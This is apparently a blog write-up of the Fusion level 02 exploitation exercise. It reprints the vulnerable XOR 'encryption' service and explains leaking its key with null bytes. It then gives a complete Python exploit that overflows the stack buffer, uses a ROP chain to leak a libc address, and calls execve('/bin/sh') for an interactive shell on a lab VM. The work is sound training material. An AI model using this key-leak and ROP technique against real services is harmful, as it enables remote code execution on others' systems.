Exploit Exercise Binary Exploitation Fusion level 02

Hello Crazy Hackers,




Welcome Again,
Today, I am going to share with you my exploit exercise fusion level 02 experience. This Challenge Was Not That Much Hard Or Easy For Me. It was like medium challenging for me but after all, it was pretty fun. So, let's quickly start.

Source Code


#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}

Hint


This level deals with some basic obfuscation / math stuff.

This level introduces non-executable memory and return into libc / .text / return orientated programming (ROP).


After Reading Hint. It was clear to me that In this challenge I need to focus on Cryptography type vulnerability. So, I quickly started to check the details of Function, calls, arguments, other thing. Then i quickly search on google about XOR to understand how it's works and is There any Vulnerability in it And I found, Yes There is big Vulnerability in it. Key Leak Vulnerability.
OMG! Now, I feels that this challenge was really going to be very Interesting To Me.

Check Wikipedia


Actually, XOR Simple Takes One By One Characters From Input Data And Key Simultaneously And Use XOR Bitwise Operator To Encrypt it.

Like This:

KeyChar is a 128 Character Secret Key.
InputChar is a 128 Character Publicly Open String.

                  InputChar XOR KeyChar

What if In This Situation InputChar is a NULL character???? hahaha! Secret Key will be our output. Very Easy To Understand.


After Spending few more minutes, I found Buffer overflow Vulnerability That was Really Very Easy To Found.

Vulnerable Codes


 
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }

So, Here Comes My Plan

1. Our Attacking Script Will Connect To Program
2. Program: What is your input length?
3. Our Script: 128 (Because first we need to disclose XOR Random key and the length of XOR key in this challenge is 128)
4. Then, Extract that XOR key from Output
5. Again, Send Data With XOR Encryption To Bypass XOR Effect.
6. Open Backdoor and Done!


Exploit




#!/usr/bin/python
import socket
import struct
import time
import telnetlib

# XOR Encryption
def crypt(value, key, key_sz=128):
 print "[+] Cipher Key Length  : ", len(key)
 print "[+] Cipher Data Length : ", len(value)
 return ''.join([chr(ord(value[x])^ord(key[x % key_sz])) for x in range(len(value))])


# Get banner 
def recv_banner(s, banner):
 return s.read(len(banner))

# send command
def send_cmd(s, cmd):
 s.write("E")
 s.write(struct.pack("I", len(cmd)))
 s.write(cmd)
 return

# Creating Socket Object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.connect(('192.168.56.101', 20002))


sock = s.makefile('rw', bufsize=0) # file descriptor 

# Recv Welcome Banner
recv_banner(sock, "[-- Enterprise configuration file encryption service --]\n")

# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#                  Stage One Key Disclouser
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# send NULL data
print "[+] Trying To Leak Encryption Key."
send_cmd(sock, "\x00"*128)
# Recv another banner
recv_banner(sock, "[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")
# Recv Data 
keydata = recv_banner(sock, "A"*132)
print "[+] Extracting Cipher Key."
print "[+] Data Recv             : ", len(keydata)
print "[+] Key Length            : ", struct.unpack("I", keydata[:4])
key = keydata[4:]
if len(key)==128:
 print "[+] Key Disclouser stage Complete."
else:
 print "[+] key Disclouser Fail"
 exit(0)

# --------------------------------------------------------------
#                        Stage 2 Send Buffer
# -------------------------------------------------------------
#
# ROP Chain First Stage [Try To Disclouse lib Offset]
rop = ''
rop+= struct.pack("<I", 0x80495a0)  # nwrite(Arg1, Arg2, Arg3)
rop+= struct.pack("<I", 0x080497f7) # Next Pointer [Encrypt File]
rop+= struct.pack("<I", 1)          # arg1 = Stdout
rop+= struct.pack("<I", 0x0804b3b8) # arg2 = 0804b3b8 R_386_JUMP_SLOT   puts(Pointer To string)
rop+= struct.pack("<I", 4) # arg3 = Length

buff = 'YES'*4
buff+= 'A'*4096*32
buff+= 'EEEE'        # Base Pointer
buff+= rop        # Return Pointer
buff+= 'GGGG'
send_cmd(sock,crypt(buff, key))


# Banner Receive
recv_banner(sock, "[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")

# Key Reply Recv
print "[+] Verifying Buffer Successfully Sent  : ", buff[:10]==recv_banner(sock, "A"*(len(buff)+4))[4:14]


#
print "[+] Trigger Victim Return Function Routine .", s.send("Q")




put_got_entry = struct.unpack("<I",s.recv(1024))[0]
print hex(put_got_entry) 
# ROP Chain Second Stage [Execute /bin/sh command]
rop = ''

# Address : Execve - Puts
execve = 0x355910 - 0x31a3b0
binsh =  0x3f28da - 0x31a3b0
# Address : Execve

# try To execute Execve("/bin/sh", NULL, NULL)
rop+= struct.pack("<I", execve + put_got_entry )  # Execve(Arg1, Arg2, Arg3)
rop+= struct.pack("<I", 0x080497f7) # Next Pointer [Encrypt File]
rop+= struct.pack("<I", binsh + put_got_entry)          # arg1 = "/bin/sh"
rop+= struct.pack("<I", 0) # arg2 = 0804b3b8 R_386_JUMP_SLO$
rop+= struct.pack("<I", 0) # arg3 = Length

buff = 'Hack'*3
buff+= 'A'*4096*32
buff+= 'EEEE'        # Base Pointer
buff+= rop        # Return Pointer
buff+= 'GGGG'
send_cmd(sock,crypt(buff, key))

recv_banner(sock, "[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")
recv_banner(sock, "A"*(len(buff)+20))
sock.write('Q')
t = telnetlib.Telnet()
t.sock = s
t.interact()

# Close SOcket
s.close()


Don't Forget to Comment.
Some Appreciable Comments And Feedback's

Share this

Related Posts

Latest
Previous
Next Post »